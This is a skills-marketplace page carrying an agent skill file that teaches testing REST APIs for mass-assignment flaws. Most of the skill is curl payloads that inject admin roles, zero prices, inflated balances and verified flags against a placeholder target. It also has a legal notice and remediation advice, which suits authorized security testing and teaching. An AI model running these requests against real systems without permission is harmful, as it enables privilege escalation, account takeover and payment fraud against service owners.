[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7A6X2CTBA1Q39NKVK6MB9J3":3,"skill-same:01M7A6X2CTBA1Q39NKVK6MB9J3":85},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":48,"commitSha":49,"skillDirectory":50,"forksCount":14,"repositoryHtmlUrl":51,"repositoryHomepageUrl":6,"ownerHtmlUrl":52,"ownerBlogUrl":6,"ownerDescription":53,"updatedAt":54,"install":55,"resources":68},"01M7A6X2CTBA1Q39NKVK6MB9J3","exploiting-mass-assignment-in-rest-apis",null,"Discovers and exploits mass assignment (autobinding) in REST APIs by injecting unexpected or hidden parameters (e.g. role, isAdmin, plan) into create\u002Fupdate requests, using Burp Suite Intruder, Arjun, and param-miner to find bindable fields on ORM-backed endpoints (Rails, Django, Laravel, Spring). Use when testing REST APIs for privilege escalation or authorization bypass via unintended parameter binding.","NeelakshSaxena\u002FVayu","NeelakshSaxena","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F87892838?v=4","01M7A3B9YFS6F6N9DD1787DT86","Neelaksh Saxena","01M7A3B9ZKBT09MNMPX2XN69BY",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-mass-assignment-in-rest-apis\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-mass-assignment-in-rest-apis\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: exploiting-mass-assignment-in-rest-apis\ndescription: >-\n  Discovers and exploits mass assignment (autobinding) in REST APIs by injecting\n  unexpected or hidden parameters (e.g. role, isAdmin, plan) into create\u002Fupdate\n  requests, using Burp Suite Intruder, Arjun, and param-miner to find bindable\n  fields on ORM-backed endpoints (Rails, Django, Laravel, Spring). Use when testing\n  REST APIs for privilege escalation or authorization bypass via unintended\n  parameter binding.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- mass-assignment\n- api-security\n- privilege-escalation\n- rest-api\n- autobinding\n- parameter-injection\n- owasp-api\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1068\n---\n\n# Exploiting Mass Assignment in REST APIs\n\n## When to Use\n- When testing REST APIs that accept JSON input for creating or updating resources\n- During API security assessments of applications using ORM frameworks (Rails, Django, Laravel, Spring)\n- When testing user registration, profile update, or account management endpoints\n- During bug bounty hunting on applications with CRUD API operations\n- When evaluating role-based access control implementation in API-driven applications\n\n## Prerequisites\n- Burp Suite or Postman for API request crafting and interception\n- Understanding of ORM auto-binding behavior in common frameworks\n- API documentation or endpoint discovery through reconnaissance\n- Multiple user accounts with different privilege levels for testing\n- Knowledge of common sensitive fields (role, isAdmin, verified, balance, price)\n- Arjun or param-miner for hidden parameter discovery\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Discover API Structure and Fields\n```bash\n# Examine API responses to identify all object fields\ncurl -H \"Authorization: Bearer USER_TOKEN\" http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme | jq .\n# Response reveals fields: id, username, email, role, isAdmin, verified, balance\n\n# Check API documentation for exposed schemas\ncurl http:\u002F\u002Ftarget.com\u002Fapi\u002Fdocs\ncurl http:\u002F\u002Ftarget.com\u002Fswagger.json\ncurl http:\u002F\u002Ftarget.com\u002Fopenapi.yaml\n\n# Use Arjun for hidden parameter discovery\narjun -u http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme -m JSON -H \"Authorization: Bearer USER_TOKEN\"\n\n# Examine create\u002Fupdate request body vs response body\n# The response may contain more fields than the request sends\n# Those extra fields are mass assignment candidates\n```\n\n### Step 2 — Test Privilege Escalation via Role Fields\n```bash\n# Inject role\u002Fadmin fields in profile update\ncurl -X PUT http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"testuser\",\"email\":\"test@test.com\",\"role\":\"admin\"}'\n\n# Try common admin field names\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"isAdmin\":true}'\n\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"is_admin\":true,\"admin\":true,\"role\":\"superadmin\",\"user_type\":\"admin\",\"privilege_level\":99}'\n\n# Test during registration\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fregister \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"newadmin\",\"password\":\"pass123\",\"email\":\"admin@evil.com\",\"role\":\"admin\",\"isAdmin\":true}'\n```\n\n### Step 3 — Test Financial and Business Logic Fields\n```bash\n# Modify price or balance fields\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Forders \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"product_id\":1,\"quantity\":1,\"price\":0.01}'\n\n# Modify account balance\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fwallet \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"balance\":999999}'\n\n# Modify discount or coupon fields\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fcheckout \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"cart_id\":123,\"discount_percent\":100,\"coupon_code\":\"NONE\"}'\n\n# Modify subscription tier\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fsubscription \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"plan\":\"enterprise\",\"price\":0}'\n```\n\n### Step 4 — Test Verification and Status Fields\n```bash\n# Bypass email verification\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"email_verified\":true,\"verified\":true,\"active\":true}'\n\n# Modify account status\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"status\":\"active\",\"banned\":false,\"suspended\":false}'\n\n# Modify ownership\u002Forganization\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"organization_id\":\"target-org-uuid\",\"team_id\":\"admin-team\"}'\n```\n\n### Step 5 — Test Relationship and Foreign Key Manipulation\n```bash\n# Change resource ownership\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fdocuments\u002F123 \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"owner_id\":\"admin-user-id\"}'\n\n# Assign to different group\u002Fteam\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fprojects\u002F456 \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"team_id\":\"privileged-team\",\"access_level\":\"write\"}'\n\n# Modify created_at\u002Fupdated_at for audit log manipulation\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fentries\u002F789 \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"created_at\":\"2020-01-01\",\"created_by\":\"other-user-id\"}'\n```\n\n### Step 6 — Automate Mass Assignment Testing\n```bash\n# Use Burp Intruder with field names wordlist\n# Wordlist of common mass assignment fields:\n# role, admin, isAdmin, is_admin, user_type, privilege, level\n# verified, email_verified, active, banned, suspended\n# balance, credits, price, discount, plan, tier\n# owner_id, organization_id, team_id, group_id\n\n# Python automation script\npython3 mass_assignment_tester.py \\\n  --url http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  --method PATCH \\\n  --token \"Bearer USER_TOKEN\" \\\n  --fields-file mass_assignment_fields.txt\n\n# Nuclei mass assignment templates\necho \"http:\u002F\u002Ftarget.com\" | nuclei -t http\u002Fvulnerabilities\u002Fgeneric\u002Fmass-assignment.yaml\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Mass Assignment | ORM auto-binding of request parameters to model attributes without restriction |\n| Autobinding | Framework feature that maps HTTP parameters directly to object properties |\n| Allowlist | Server-side list of permitted fields for update operations (strong_parameters in Rails) |\n| Denylist | List of forbidden fields (less secure than allowlist approach) |\n| Hidden Fields | Server-managed fields (role, balance) not shown in forms but accepted by API |\n| DTO (Data Transfer Object) | Pattern using separate objects for input vs. database to prevent mass assignment |\n| Parameter Pollution | Sending unexpected extra parameters alongside legitimate ones |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | API request interception and parameter injection |\n| Postman | API testing and collection-based mass assignment testing |\n| Arjun | Hidden parameter discovery tool for API endpoints |\n| param-miner | Burp extension for discovering hidden parameters |\n| OWASP ZAP | Automated API scanning with parameter injection |\n| swagger-codegen | Generate API clients from OpenAPI specs for testing |\n\n## Common Scenarios\n\n1. **Admin Privilege Escalation** — Inject `\"role\":\"admin\"` or `\"isAdmin\":true` in profile update to gain administrative access\n2. **Price Manipulation** — Modify `price` or `discount` fields in order creation endpoints to purchase items at reduced cost\n3. **Email Verification Bypass** — Set `email_verified:true` during registration or profile update to bypass verification requirements\n4. **Account Takeover** — Modify `email` or `phone` fields to attacker-controlled values, then trigger password reset\n5. **Subscription Upgrade** — Inject `plan:\"enterprise\"` in subscription update to gain premium features without payment\n\n## Output Format\n\n```\n## Mass Assignment Vulnerability Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme\n- **Method**: PATCH\n- **Framework**: Ruby on Rails (detected via X-Powered-By)\n\n### Findings\n| # | Endpoint | Injected Field | Original | Modified | Impact |\n|---|----------|---------------|----------|----------|--------|\n| 1 | PATCH \u002Fapi\u002Fusers\u002Fme | role | \"user\" | \"admin\" | Privilege Escalation |\n| 2 | POST \u002Fapi\u002Forders | price | 99.99 | 0.01 | Financial Loss |\n| 3 | PATCH \u002Fapi\u002Fusers\u002Fme | email_verified | false | true | Verification Bypass |\n\n### Remediation\n- Implement allowlist (strong_parameters) for all model update operations\n- Use DTOs\u002FViewModels to decouple API input from database models\n- Apply field-level authorization checks on sensitive attributes\n- Log and alert on attempts to modify restricted fields\n```\n","# Exploiting Mass Assignment in REST APIs\n\n## When to Use\n- When testing REST APIs that accept JSON input for creating or updating resources\n- During API security assessments of applications using ORM frameworks (Rails, Django, Laravel, Spring)\n- When testing user registration, profile update, or account management endpoints\n- During bug bounty hunting on applications with CRUD API operations\n- When evaluating role-based access control implementation in API-driven applications\n\n## Prerequisites\n- Burp Suite or Postman for API request crafting and interception\n- Understanding of ORM auto-binding behavior in common frameworks\n- API documentation or endpoint discovery through reconnaissance\n- Multiple user accounts with different privilege levels for testing\n- Knowledge of common sensitive fields (role, isAdmin, verified, balance, price)\n- Arjun or param-miner for hidden parameter discovery\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Discover API Structure and Fields\n```bash\n# Examine API responses to identify all object fields\ncurl -H \"Authorization: Bearer USER_TOKEN\" http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme | jq .\n# Response reveals fields: id, username, email, role, isAdmin, verified, balance\n\n# Check API documentation for exposed schemas\ncurl http:\u002F\u002Ftarget.com\u002Fapi\u002Fdocs\ncurl http:\u002F\u002Ftarget.com\u002Fswagger.json\ncurl http:\u002F\u002Ftarget.com\u002Fopenapi.yaml\n\n# Use Arjun for hidden parameter discovery\narjun -u http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme -m JSON -H \"Authorization: Bearer USER_TOKEN\"\n\n# Examine create\u002Fupdate request body vs response body\n# The response may contain more fields than the request sends\n# Those extra fields are mass assignment candidates\n```\n\n### Step 2 — Test Privilege Escalation via Role Fields\n```bash\n# Inject role\u002Fadmin fields in profile update\ncurl -X PUT http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"testuser\",\"email\":\"test@test.com\",\"role\":\"admin\"}'\n\n# Try common admin field names\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"isAdmin\":true}'\n\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"is_admin\":true,\"admin\":true,\"role\":\"superadmin\",\"user_type\":\"admin\",\"privilege_level\":99}'\n\n# Test during registration\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fregister \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"newadmin\",\"password\":\"pass123\",\"email\":\"admin@evil.com\",\"role\":\"admin\",\"isAdmin\":true}'\n```\n\n### Step 3 — Test Financial and Business Logic Fields\n```bash\n# Modify price or balance fields\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Forders \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"product_id\":1,\"quantity\":1,\"price\":0.01}'\n\n# Modify account balance\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fwallet \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"balance\":999999}'\n\n# Modify discount or coupon fields\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fcheckout \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"cart_id\":123,\"discount_percent\":100,\"coupon_code\":\"NONE\"}'\n\n# Modify subscription tier\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fsubscription \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"plan\":\"enterprise\",\"price\":0}'\n```\n\n### Step 4 — Test Verification and Status Fields\n```bash\n# Bypass email verification\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"email_verified\":true,\"verified\":true,\"active\":true}'\n\n# Modify account status\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"status\":\"active\",\"banned\":false,\"suspended\":false}'\n\n# Modify ownership\u002Forganization\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"organization_id\":\"target-org-uuid\",\"team_id\":\"admin-team\"}'\n```\n\n### Step 5 — Test Relationship and Foreign Key Manipulation\n```bash\n# Change resource ownership\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fdocuments\u002F123 \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"owner_id\":\"admin-user-id\"}'\n\n# Assign to different group\u002Fteam\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fprojects\u002F456 \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"team_id\":\"privileged-team\",\"access_level\":\"write\"}'\n\n# Modify created_at\u002Fupdated_at for audit log manipulation\ncurl -X PATCH http:\u002F\u002Ftarget.com\u002Fapi\u002Fentries\u002F789 \\\n  -H \"Authorization: Bearer USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"created_at\":\"2020-01-01\",\"created_by\":\"other-user-id\"}'\n```\n\n### Step 6 — Automate Mass Assignment Testing\n```bash\n# Use Burp Intruder with field names wordlist\n# Wordlist of common mass assignment fields:\n# role, admin, isAdmin, is_admin, user_type, privilege, level\n# verified, email_verified, active, banned, suspended\n# balance, credits, price, discount, plan, tier\n# owner_id, organization_id, team_id, group_id\n\n# Python automation script\npython3 mass_assignment_tester.py \\\n  --url http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme \\\n  --method PATCH \\\n  --token \"Bearer USER_TOKEN\" \\\n  --fields-file mass_assignment_fields.txt\n\n# Nuclei mass assignment templates\necho \"http:\u002F\u002Ftarget.com\" | nuclei -t http\u002Fvulnerabilities\u002Fgeneric\u002Fmass-assignment.yaml\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Mass Assignment | ORM auto-binding of request parameters to model attributes without restriction |\n| Autobinding | Framework feature that maps HTTP parameters directly to object properties |\n| Allowlist | Server-side list of permitted fields for update operations (strong_parameters in Rails) |\n| Denylist | List of forbidden fields (less secure than allowlist approach) |\n| Hidden Fields | Server-managed fields (role, balance) not shown in forms but accepted by API |\n| DTO (Data Transfer Object) | Pattern using separate objects for input vs. database to prevent mass assignment |\n| Parameter Pollution | Sending unexpected extra parameters alongside legitimate ones |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | API request interception and parameter injection |\n| Postman | API testing and collection-based mass assignment testing |\n| Arjun | Hidden parameter discovery tool for API endpoints |\n| param-miner | Burp extension for discovering hidden parameters |\n| OWASP ZAP | Automated API scanning with parameter injection |\n| swagger-codegen | Generate API clients from OpenAPI specs for testing |\n\n## Common Scenarios\n\n1. **Admin Privilege Escalation** — Inject `\"role\":\"admin\"` or `\"isAdmin\":true` in profile update to gain administrative access\n2. **Price Manipulation** — Modify `price` or `discount` fields in order creation endpoints to purchase items at reduced cost\n3. **Email Verification Bypass** — Set `email_verified:true` during registration or profile update to bypass verification requirements\n4. **Account Takeover** — Modify `email` or `phone` fields to attacker-controlled values, then trigger password reset\n5. **Subscription Upgrade** — Inject `plan:\"enterprise\"` in subscription update to gain premium features without payment\n\n## Output Format\n\n```\n## Mass Assignment Vulnerability Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers\u002Fme\n- **Method**: PATCH\n- **Framework**: Ruby on Rails (detected via X-Powered-By)\n\n### Findings\n| # | Endpoint | Injected Field | Original | Modified | Impact |\n|---|----------|---------------|----------|----------|--------|\n| 1 | PATCH \u002Fapi\u002Fusers\u002Fme | role | \"user\" | \"admin\" | Privilege Escalation |\n| 2 | POST \u002Fapi\u002Forders | price | 99.99 | 0.01 | Financial Loss |\n| 3 | PATCH \u002Fapi\u002Fusers\u002Fme | email_verified | false | true | Verification Bypass |\n\n### Remediation\n- Implement allowlist (strong_parameters) for all model update operations\n- Use DTOs\u002FViewModels to decouple API input from database models\n- Apply field-level authorization checks on sensitive attributes\n- Log and alert on attempts to modify restricted fields\n```\n",{"name":5,"tags":25,"author":33,"domain":34,"license":15,"version":35,"nist_csf":36,"subdomain":41,"description":7,"mitre_attack":42},[26,27,28,29,30,31,32],"mass-assignment","api-security","privilege-escalation","rest-api","autobinding","parameter-injection","owasp-api","mahipal","cybersecurity","1.0",[37,38,39,40],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[43,44,45,46,47],"T1190","T1059.007","T1505.003","T1083","T1068","main","7540bbccf0c1ded6156a467b02c95b61ad62413f",".agents\u002Fskills\u002Fexploiting-mass-assignment-in-rest-apis","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena","Currently exploring the intersection of tech","2026-09-11 03:02:31",{"source":8,"skillName":5,"commands":56,"prompt":66,"zipAvailable":67},[57,60,63],{"tool":58,"command":59},"npx","npx skills add NeelakshSaxena\u002FVayu --skill exploiting-mass-assignment-in-rest-apis",{"tool":61,"command":62},"bunx","bunx skills add NeelakshSaxena\u002FVayu --skill exploiting-mass-assignment-in-rest-apis",{"tool":64,"command":65},"pnpm","pnpm dlx skills add NeelakshSaxena\u002FVayu --skill exploiting-mass-assignment-in-rest-apis","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-mass-assignment-in-rest-apis\u002FSKILL.md",true,[69,73,79],{"path":70,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":72,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":74,"resourceType":75,"resourceTypeDesc":76,"sizeBytes":77,"sourceHtmlUrl":78},"references\u002Fapi-reference.md","REFERENCE","参考文档",2495,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-mass-assignment-in-rest-apis\u002Freferences\u002Fapi-reference.md",{"path":80,"resourceType":81,"resourceTypeDesc":82,"sizeBytes":83,"sourceHtmlUrl":84},"scripts\u002Fagent.py","SCRIPT","脚本",4629,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-mass-assignment-in-rest-apis\u002Fscripts\u002Fagent.py",[86,93,100,107,114,121],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":20},"01M7ACCCVNCFKMA9X6D15X6G98","runpodctl","Runpod CLI for managing GPU\u002FCPU workloads from the terminal — pods, serverless endpoints, templates, network volumes, Hub deploys, models, SSH, and file transfer (send\u002Freceive). Use for terminal\u002FCI\u002Fscripting, Hub browse\u002Fdeploy, SSH setup, `doctor`, or when the Runpod MCP tools are not connected. For structured tool calls in an MCP-enabled session, prefer runpod-mcp.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpodctl\u002FSKILL.md",[],[],{"skillNo":94,"name":95,"nameZh":6,"description":96,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":97,"categories":98,"keywords":99,"publishedAt":20},"01M7ACC63SRHEA5KMCHSMZK2TC","runpod","Start here for any Runpod task — running GPU\u002FCPU pods, deploying serverless endpoints, templates, network volumes, building images, or understanding how Runpod works. Routes to the right skill (runpod-mcp, runpodctl, flash, companion-clis, runpod-usage, runpod-templates, runpod-migrate) and indexes two dozen live-verified end-to-end examples (golden paths) — use it when the lane is unclear, and for any multi-step or provisioning task even when it is not.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod\u002FSKILL.md",[],[],{"skillNo":101,"name":102,"nameZh":6,"description":103,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":104,"categories":105,"keywords":106,"publishedAt":20},"01M7ACC0Q1C89N9BZBV91CTQTF","runpod-usage","How Runpod works and how to work it — pods vs serverless, GPU\u002FVRAM selection, storage, building a container, networking, plus the agentic pod development loop (provision → ssh-exec → set up → poll readiness) and on-pod install hygiene (uv\u002Fapt). Use to answer \"how does X work\", \"which GPU\", \"how do I build a container\", or \"how do I stand up a workload on a pod\". Guidance, not a tool — execute with runpodctl, runpod-mcp, or flash.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-usage\u002FSKILL.md",[],[],{"skillNo":108,"name":109,"nameZh":6,"description":110,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":111,"categories":112,"keywords":113,"publishedAt":20},"01M7ACBRPE345GF5GM5B8P8RRC","runpod-templates","Runpod's official prebuilt pod templates (ComfyUI, PyTorch, and others): what each image ships, which ports and paths it uses, how to pick one, how to pin a version, and what is missing on first boot. Use when a task says \"run \u003CX> on a pod\" and an official template already covers it, instead of building an image — and when a user needs help with or wants to fix something about a Runpod template they are already running (won't boot, can't reach the UI, missing models, wrong CUDA line, broken ComfyUI workflow metadata on imported workflows): start here and route onward. Deploy with runpodctl or runpod-mcp; end-to-end walkthroughs live in the runpod router's golden paths.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-templates\u002FSKILL.md",[],[],{"skillNo":115,"name":116,"nameZh":6,"description":117,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":118,"categories":119,"keywords":120,"publishedAt":20},"01M7ACBJATHKVX1TWES2F44GY8","runpod-migrate","Migrate a codebase from the Runpod GraphQL API or REST v1 to REST v2 — inventory which parts use which API version, rewrite the call sites, flag breaking changes, and verify. Use when someone asks to move to v2, asks what v2 would change, or asks which Runpod API their code is on. For managing infrastructure rather than migrating code, use runpod-mcp or runpodctl.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-migrate\u002FSKILL.md",[],[],{"skillNo":122,"name":123,"nameZh":6,"description":124,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":125,"categories":126,"keywords":127,"publishedAt":20},"01M7ACBC7GHVH6T9YEAPCG2AP8","runpod-mcp","Manage Runpod infrastructure — pods, serverless endpoints, jobs, templates, network volumes, container-registry auth, GPU\u002FCPU catalog, and billing — via the Runpod MCP server's structured tool calls. Use when the Runpod MCP tools (create-pod, list-endpoints, …) are connected in this session, or to connect them (hosted OAuth or local npx). Prefer this over runpodctl for plain infra CRUD when MCP is available; use runpodctl for the terminal, file transfer, or SSH setup.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-mcp\u002FSKILL.md",[],[]]